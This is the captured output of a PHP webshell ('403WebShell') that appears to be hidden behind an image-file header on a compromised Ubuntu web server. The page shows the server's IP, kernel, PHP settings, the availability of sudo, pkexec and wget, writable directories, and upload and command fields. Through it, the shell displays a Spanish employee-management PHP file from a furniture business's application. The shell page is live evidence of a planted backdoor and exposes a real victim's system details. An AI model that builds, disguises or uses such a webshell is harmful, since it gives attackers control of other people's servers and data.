����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.90
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/thread-self/root/var/www/html/muebles/application/employed/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/thread-self/root/var/www/html/muebles/application/employed/c_item.php
	<?php
date_default_timezone_set("America/Mexico_City");
setlocale(LC_ALL,"es_ES");
session_start();
require_once ("../model/dbconn.php");
require_once ("../model/pos.php");

function display_to_sql($date){
	return substr($date,6,4).'-'.substr($date,3,2).'-'.substr($date,0,2);
}

if( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) && ( $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' ) )
{
	$pos = new pos();
	$method=$_POST['method'];
	
	//LISTAR LA TABLA DE VENTAS DE HOY PARA MANDAR A COBRO
	if($method == 'getdataE'){
		$pos = new pos();
		$array = $pos->getListEmployees();
		$data = $array[2];
		$i=0;
		foreach ($data as $key) {
				$button = '<a href="#">Detalles</a>';
			$data[$i]['id_cust']= $data[$i]['id_cust'];
			$data[$i]['name']= $data[$i]['name'];
			$data[$i]['contract'] =  $data[$i]['contract'];
			
			$data[$i]['dateBaja'] =  $data[$i]['dateBaja'];
			$data[$i]['dateReUp'] =  $data[$i]['dateReUp'];
			
			if($data[$i]['status'] == 2){
				$data[$i]['status'] =  "Reingreso";
			}else{
				$data[$i]['status'] =  "Activo";
			}
			//buscamos nombre de la ruta
				/*
					$posR = new pos();
					$arrayR = $posR->getRuta($data[$i]['id_ruta']);
					$dataR = $arrayR[1];
					$data[$i]['id_ruta'] = $dataR['name'];
				*/	
				
				/*
		
		<option value="1">Secretaria</option>
																<option value="2">Cobrador</option>
																<option value="3">Vendedor</option>
																<option value="4">Jefe de Ventas</option>
																<option value="5">Supervisor</option>
																<option value="6">Gerente</option>
																<option value="7">Ayudante de Sistemas</option>
																<option value="8">Sup de Sistemas</option>
		*/
				
				
				switch ($data[$i]['id_ruta']){
						case 1:
							$data[$i]['ruta_actual']='Secretaria';
							break;
						case 2:
							$data[$i]['ruta_actual']='Cobrador';
							break;
						case 3:
							$data[$i]['ruta_actual']='Vendedor';
							break;
						case 4:
							$data[$i]['ruta_actual']='Jefe de Ventas';
							break;
						case 5:
							$data[$i]['ruta_actual']='Supervisor';
							break;
						case 6:
							$data[$i]['ruta_actual']='Gerente';
							break;
						case 7:
							$data[$i]['ruta_actual']='Ayudante de sistemas';
							break;
						case 8:
							$data[$i]['ruta_actual']='Sup de Sistemas';
							break;	
						case 0:
							$data[$i]['ruta_actual']='No Aplica';
							break;	
			}		
					
				// asignar puesto
					switch ($data[$i]['id_puesto']) {
						case 2:
							$data[$i]['id_puesto']='Cobranza';
							break;
						case 1:
							$data[$i]['id_puesto']='Administracion';
							break;
						case 3:
							$data[$i]['id_puesto']='Ventas';
							break;
						case 4:
							$data[$i]['id_puesto']='Supervisor';
							break;
						case 5:
							$data[$i]['id_puesto']='Gerencia';
							break;
						case 6:
							$data[$i]['id_puesto']='Soporte Tecnico';
							break;	
					}
				
			$data[$i]['button'] = $button;
			
			$data[$i]['id'] = $i+1;
			
			$i++;
			
			
		}
		$datax = array('data' => $data);
		echo json_encode($datax);
	}
	
//editar datos traer el registro correspondiente por id	
	if($method == 'get_detail_item')
	{
		$id_item=$_POST['id_item'];
		$pos = new pos();
		$data = $pos->getEmployee($id_item);
		$i=0;
		foreach ($data as $key) {
			
			//buscamos nombre de la ruta
				/*
					$posR = new pos();
					$arrayR = $posR->getRuta($data[$i]['id_ruta']);
					$dataR = $arrayR[1];
					$data[$i]['ruta_actual'] = '*('.$dataR['name'].') '.$dataR['description'].'';
				//asignar puesto	
				
				*/
				
			switch ($data[$i]['id_ruta']){
						case 2:
							$data[$i]['ruta_actual']='Cobrador';
							break;
						case 1:
							$data[$i]['ruta_actual']='Jefe Ventas';
							break;
						case 3:
							$data[$i]['ruta_actual']='Secretaria';
							break;
						case 4:
							$data[$i]['ruta_actual']='Supervisor';
							break;
						case 5:
							$data[$i]['ruta_actual']='Gerente';
							break;
						case 0:
							$data[$i]['ruta_actual']='Vendedor';
							break;	
			}	
				
			switch ($key['id_puesto']) {
						case 2:
							$data[$i]['departamento_actual']='Cobranza';
							break;
						case 1:
							$data[$i]['departamento_actual']='Administracion';
							break;
						case 3:
							$data[$i]['departamento_actual']='Ventas';
							break;
						case 4:
							$data[$i]['departamento_actual']='Supervicion';
							break;
						case 5:
							$data[$i]['departamento_actual']='Gerencia';
							break;
						case 6:
							$data[$i]['departamento_actual']='Soporte Tecnico';
							break;	
					}
			
			$i++;	
			}
		
		$array['data'] = $data[1];
		$array['result'] = $data[0];
		echo json_encode($array);
	}
	
	
//guardar empleado
	if($method == 'save_employee')
	{
		
		$iditem=$_POST['cat'];
		$contract =	$_POST['contract'];
		$name = $_POST['name'];
		$dateA = $_POST['dateA'];
		$puesto = $_POST['puesto'];
		$poblacion = $_POST['poblacion'];
		$ruta = $_POST['ruta'];
		$telefono =$_POST['telefono'];
		$date = date('Y-m-d');
		$date_emp =$date;
		
		$crud=$_POST['crud'];
		
		$pos = new pos();
		if($_POST['crud'] == 'N')
		{
			$array = $pos->saveEmployee($name,$contract,$dateA,$ruta,$poblacion,$telefono,$puesto,$date_emp);
			
			$result['result'] = $array[0];
			$result['error'] = $array[1];
			
			$cadena_de_texto = $result['error'];
			//"SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '123456' for key 'contract'"
			$cadena_buscada = 'Integrity constraint violation: 1062 Duplicate';
			$posicion_coincidencia = strpos($cadena_de_texto, $cadena_buscada);
 
			if($posicion_coincidencia===false){
				$result['estado'] = false; 
			}else{
				$result['estado'] = true;
			}
		
		}
		else
		{
		   if($_POST['crud']=='E'){
			   $array = $pos->updateEmployeeEditar($iditem,$name,$contract,$dateA,$ruta,$poblacion,$telefono,$puesto,$date_emp);
			   $result['result'] = $array[0];
			   $result['error'] = $array[1];
		   }else{
			   
			if($_POST['crud']=='B'){
			   
			   $txtdateBaja = $_POST['txtdateBaja'];
			   
			   $id_puesto = $_POST['puesto'];
			   $baja=0;
			   $reason=$_POST['reason'];
			   $created_at=$txtdateBaja;
			   //registramos en tabla empleados despedidos o dados de baja
			   $array = $pos->saveTerminatedEmp($name,$id_puesto,$reason,$created_at);
			   $result['result2'] = $array[0];
			   $result['error2'] = $array[1];
			   
			   //actualizamos la tabla empleados
			   //actualizamos la rutaasignada si es que tiene ruta asignada
			   
			   $array = $pos->updateEmployee($iditem,$name,$contract,$txtdateBaja,$poblacion,$telefono,$baja,$date_emp);
			   $result['result'] = $array[0];
			   $result['resultB'] = 'cancelacion';
			   $result['error'] = $array[1];
			   
			   
			}else{
				$result['result'] = false;
			   $result['error'] = "Error de crud";
			}
			   
			   
		   }
			
		}
		
		$result['crud'] = $_POST['crud'];
		echo json_encode($result);
	}

//reingreso de empleado
if($method == 'save_Reingreso')
	{
		
		$contract =	$_POST['contract'];
		$name = $_POST['name'];
		$dateA = $_POST['dateA'];
		$puesto = $_POST['puesto'];
		$poblacion = $_POST['poblacion'];
		$ruta = $_POST['ruta'];
		$telefono =$_POST['telefono'];
		$date = date('Y-m-d');
		$date_emp =$date;
		
		//fecha de reingreso
		if(isset($_POST['txtdateReing'])){
			$txtdateReing = $_POST["txtdateReing"];
		}
		
		$crud=$_POST['crud'];
		
		$pos = new pos();
			   
		$Reingreso = 2;	   
			   //actualizamos la tabla empleados
			   $array = $pos->updateEmployeeRe($name,$contract,$txtdateReing,$ruta,$poblacion,$telefono,$Reingreso,$date_emp);
			   $result['result'] = $array[0];
			   $result['resultB'] = 'Reingreso';
			   $result['error'] = $array[1];
			   
		$result['crud'] = "r";
		echo json_encode($result);
	}
	
	
//eliminar empleado permanentemente
	if($method == 'updateBajaEmploye'){
		
		$iditem=$_POST['contract'];
		$item_name = $_POST['txtname2'];
		$id_txtname2= $_POST['id_txtname2'];
		$contract =	$_POST['contract'];
		$name = $_POST['name'];
		$sueldo = $_POST['sueldo'];
		$puesto = 0;
		$poblacion = $_POST['poblacion'];
		$ruta = $_POST['ruta'];
		$telefono =$_POST['telefono'];
		$date = date('Y-m-d');
		$date_emp =$date;
		
		$id_item=$_POST['id_item'];
		
		$result['result'] = true;
	    $result['error'] = 'BAJA RETURN';
		echo json_encode($data);
	}
	
//dar de baja  empleado



//LISTAR LA TABLA DE VENTAS DE HOY PARA MANDAR A COBRO
	if($method == 'getdataBaja'){
		$pos = new pos();
		$array = $pos->getListEmployeesBaja();
		$data = $array[2];
		$i=0;
		foreach ($data as $key) {
				$button = '<a href=#>...</a>';
			$data[$i]['id_cust']= $data[$i]['id_cust'];
			$data[$i]['name']= $data[$i]['name'];
			$data[$i]['contract'] =  $data[$i]['contract'];
				
				//buscamos nombre de la ruta
				/*	
					$posR = new pos();
					$arrayR = $posR->getRuta($data[$i]['id_ruta']);
					$dataR = $arrayR[1];
					$data[$i]['id_ruta'] = $dataR['name'];
				*/
			switch ($data[$i]['id_ruta']){
						case 1:
							$data[$i]['ruta_actual']='Secretaria';
							break;
						case 2:
							$data[$i]['ruta_actual']='Cobrador';
							break;
						case 3:
							$data[$i]['ruta_actual']='Vendedor';
							break;
						case 4:
							$data[$i]['ruta_actual']='Jefe de Ventas';
							break;
						case 5:
							$data[$i]['ruta_actual']='Supervisor';
							break;
						case 6:
							$data[$i]['ruta_actual']='Gerente';
							break;
						case 7:
							$data[$i]['ruta_actual']='Ayudante de sistemas';
							break;
						case 8:
							$data[$i]['ruta_actual']='Sup de Sistemas';
							break;	
						case 0:
							$data[$i]['ruta_actual']='No Aplica';
							break;	
			}		
					
				// asignar puesto
					switch ($data[$i]['id_puesto']) {
						case 2:
							$data[$i]['id_puesto']='Cobranza';
							break;
						case 1:
							$data[$i]['id_puesto']='Administracion';
							break;
						case 3:
							$data[$i]['id_puesto']='Ventas';
							break;
						case 4:
							$data[$i]['id_puesto']='Supervisor';
							break;
						case 5:
							$data[$i]['id_puesto']='Gerencia';
							break;
						case 6:
							$data[$i]['id_puesto']='Soporte Tecnico';
							break;	
					}
			$data[$i]['button'] = $button;
			$data[$i]['status'] = 'Baja';
			
			$data[$i]['id'] = $i+1;
			$i++;
		}
		$datax = array('data' => $data);
		echo json_encode($datax);
	}
	
	
} else {
	exit('No direct access allowed.');
}

Youez - 2016 - github.com/yon3zu
LinuXploit